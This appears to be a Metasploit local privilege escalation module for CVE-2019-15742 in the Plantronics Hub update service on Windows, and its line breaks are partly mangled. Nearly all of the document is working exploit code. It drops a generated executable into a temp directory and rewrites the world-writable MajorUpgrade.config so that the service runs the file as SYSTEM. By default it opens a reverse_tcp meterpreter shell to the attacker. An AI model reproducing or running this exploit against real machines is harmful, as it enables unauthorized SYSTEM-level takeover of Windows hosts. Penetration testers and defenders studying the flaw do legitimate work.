### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::EXE
include Post::File
include Post::Windows::Priv
include Post::Windows::Services
include Exploit::FileDropper
def initialize(info = {})
super(update_info(info,'Name' => 'Plantronics Hub SpokesUpdateService Privilege Escalation','Description'=> %q{
The Plantronics Hub client application for Windows makes use of an
automatic update service `SpokesUpdateService.exe` which automatically
executes a file specified in the `MajorUpgrade.config` configuration
file as SYSTEM. The configuration file is writable by all users by default.
This module has been tested successfully on Plantronics Hub version 3.13.2
on Windows 7 SP1 (x64).},'License'=> MSF_LICENSE,'Author' =>
['Markus Krell',# Discovery and PoC'bcoles'# Metasploit],'References' =>
[['CVE','2019-15742'],['EDB','47845'],['URL','https://support.polycom.com/content/dam/polycom-support/global/documentation/plantronics-hub-local-privilege-escalation-vulnerability.pdf']],'Platform' => ['win'],'SessionTypes' => ['meterpreter'],'Targets'=> [['Automatic',{}]],'DisclosureDate' => '2019-08-30','DefaultOptions' =>
{'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},'Notes'=>
{'Reliability' => [ REPEATABLE_SESSION ],'Stability' => [ CRASH_SAFE ]},'DefaultTarget'=> 0))
register_advanced_options [
OptString.new('WritableDir',[false,'A directory where we can write files (%TEMP% by default)', nil]),]end
def base_dir
datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s
end
def service_exists?(service)
srv_info = service_info(service)if srv_info.nil?
vprint_warning 'Unable to enumerate Windows services'return false
endif srv_info && srv_info[:display].empty?
return false
end
true
end
def check
service = 'PlantronicsUpdateService'
unless service_exists? service
return CheckCode::Safe("Service '#{service}' does not exist")end
path = "#{session.sys.config.getenv('PROGRAMDATA')}\\Plantronics\\Spokes3G"
unless exists? path
return CheckCode::Safe("Directory '#{path}' does not exist")end
CheckCode::Detected
end
def exploit
unless check == CheckCode::Detected
fail_with Failure::NotVulnerable,'Target is not vulnerable'endif is_system?
fail_with Failure::BadConfig,'Session already has SYSTEM privileges'end
payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"
payload_exe = generate_payload_exe
vprint_status "Writing payload to #{payload_path} ..."
write_file payload_path, payload_exe
register_file_for_cleanup payload_path
config_path = "#{session.sys.config.getenv('PROGRAMDATA')}\\Plantronics\\Spokes3G\\MajorUpgrade.config"
vprint_status "Writing configuration file to #{config_path} ..."
write_file config_path,"#{session.sys.config.getenv('USERNAME')}|advertise|#{payload_path}"
register_file_for_cleanup config_path
endend